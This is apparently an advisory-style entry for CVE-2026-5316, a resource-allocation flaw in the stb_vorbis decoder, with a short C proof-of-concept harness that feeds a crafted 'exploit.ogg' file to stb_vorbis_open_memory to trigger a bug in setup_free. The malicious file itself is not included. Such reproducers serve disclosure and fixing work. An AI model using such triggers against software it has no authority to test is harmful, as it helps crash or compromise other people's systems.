CVE-2026-5316 Nothings stb资源分配漏洞

#include <stdio.h> #define STB_VORBIS_HEADER_ONLY #include "stb_vorbis.c" int main() { // Open a maliciously crafted OGG file FILE *f = fopen("exploit.ogg", "rb"); if (!f) return -1; fseek(f, 0, SEEK_END); long size = ftell(f); fseek(f, 0, SEEK_SET); unsigned char* buffer = (unsigned char*)malloc(size); fread(buffer, 1, size, f); fclose(f); int error = 0; // Trigger the vulnerability in setup_free during initialization stb_vorbis* v = stb_vorbis_open_memory(buffer, size, &error, NULL); if (error != 0) { printf("Vorbis parsing error: %d\n", error); } if (v) { stb_vorbis_close(v); } free(buffer); return 0; }